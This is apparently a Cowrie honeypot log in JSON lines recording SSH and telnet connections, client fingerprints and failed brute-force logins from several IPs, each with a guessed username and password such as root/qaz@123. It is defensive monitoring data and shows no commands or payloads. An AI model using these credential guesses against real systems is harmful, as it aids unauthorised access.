{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:47.356280Z","src_ip":"162.240.218.183","session":"1a5d9785e2df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"convex","password":"convex123","message":"login attempt [convex/convex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:47.622331Z","src_ip":"162.240.218.183","session":"1a5d9785e2df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:43:49.591550Z","src_ip":"162.240.218.183","session":"1a5d9785e2df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":53391,"dst_ip":"159.203.135.109","dst_port":22,"session":"7531c3a386ae","protocol":"ssh","message":"New connection: 178.20.210.208:53391 (159.203.135.109:22) [session: 7531c3a386ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:15.608991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:15.611596Z","src_ip":"178.20.210.208","session":"7531c3a386ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:15.725995Z","src_ip":"178.20.210.208","session":"7531c3a386ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX@","message":"login attempt [root/1qaz2WSX@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:16.134278Z","src_ip":"178.20.210.208","session":"7531c3a386ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:17.249283Z","src_ip":"178.20.210.208","session":"7531c3a386ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43618,"dst_ip":"159.203.135.109","dst_port":23,"session":"5212b8a06014","protocol":"telnet","message":"New connection: 137.184.5.188:43618 (159.203.135.109:23) [session: 5212b8a06014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:26.376426Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":60615,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba839954cae","protocol":"ssh","message":"New connection: 87.156.182.84:60615 (10.17.0.5:22) [session: aba839954cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:26.527054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:26.532418Z","src_ip":"87.156.182.84","session":"aba839954cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:26.638861Z","src_ip":"87.156.182.84","session":"aba839954cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz@123","message":"login attempt [root/qaz@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:30.872083Z","src_ip":"87.156.182.84","session":"aba839954cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:31.994823Z","src_ip":"87.156.182.84","session":"aba839954cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":43092,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ac29cad3f4","protocol":"ssh","message":"New connection: 194.36.147.215:43092 (10.17.0.5:22) [session: 79ac29cad3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:44.030149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:44.033999Z","src_ip":"194.36.147.215","session":"79ac29cad3f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:44.122939Z","src_ip":"194.36.147.215","session":"79ac29cad3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"belmopan_belize","password":"belmopan123","message":"login attempt [belmopan_belize/belmopan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:44.393847Z","src_ip":"194.36.147.215","session":"79ac29cad3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:45.485883Z","src_ip":"194.36.147.215","session":"79ac29cad3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44972,"dst_ip":"159.203.135.109","dst_port":23,"session":"1216337ab60c","protocol":"telnet","message":"New connection: 137.184.5.188:44972 (159.203.135.109:23) [session: 1216337ab60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:44:48.522712Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":43930,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a662b1ad1c","protocol":"ssh","message":"New connection: 94.159.110.201:43930 (159.203.135.109:22) [session: 42a662b1ad1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:17.868873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:17.872863Z","src_ip":"94.159.110.201","session":"42a662b1ad1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:17.983833Z","src_ip":"94.159.110.201","session":"42a662b1ad1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx1qaz2wsx","message":"login attempt [root/1qaz2wsx1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:18.315935Z","src_ip":"94.159.110.201","session":"42a662b1ad1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:19.429004Z","src_ip":"94.159.110.201","session":"42a662b1ad1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":46176,"dst_ip":"10.17.0.5","dst_port":22,"session":"2892d5f3648f","protocol":"ssh","message":"New connection: 103.27.238.114:46176 (10.17.0.5:22) [session: 2892d5f3648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:29.308835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:29.312991Z","src_ip":"103.27.238.114","session":"2892d5f3648f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:29.580048Z","src_ip":"103.27.238.114","session":"2892d5f3648f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m1a2m3a4","message":"login attempt [root/m1a2m3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:30.372751Z","src_ip":"103.27.238.114","session":"2892d5f3648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:31.637990Z","src_ip":"103.27.238.114","session":"2892d5f3648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.87153387069702,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:45:50.247816Z","src_ip":"137.184.5.188","session":"5212b8a06014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":44342,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebfc1127e0db","protocol":"ssh","message":"New connection: 89.223.69.22:44342 (159.203.135.109:22) [session: ebfc1127e0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:00.141972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:00.146169Z","src_ip":"89.223.69.22","session":"ebfc1127e0db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:00.259107Z","src_ip":"89.223.69.22","session":"ebfc1127e0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"261019","message":"login attempt [root/261019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:00.593395Z","src_ip":"89.223.69.22","session":"ebfc1127e0db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:01.706954Z","src_ip":"89.223.69.22","session":"ebfc1127e0db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":36974,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f56d726ddf","protocol":"ssh","message":"New connection: 143.20.185.207:36974 (10.17.0.5:22) [session: 36f56d726ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:11.294321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:11.303768Z","src_ip":"143.20.185.207","session":"36f56d726ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:11.420421Z","src_ip":"143.20.185.207","session":"36f56d726ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS4VCPU16GBAMD","message":"login attempt [root/undefinedVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:11.918999Z","src_ip":"143.20.185.207","session":"36f56d726ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:13.037691Z","src_ip":"143.20.185.207","session":"36f56d726ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39204,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f23682e6d7b","protocol":"telnet","message":"New connection: 94.23.66.112:39204 (10.17.0.5:23) [session: 2f23682e6d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:28.246863Z"}
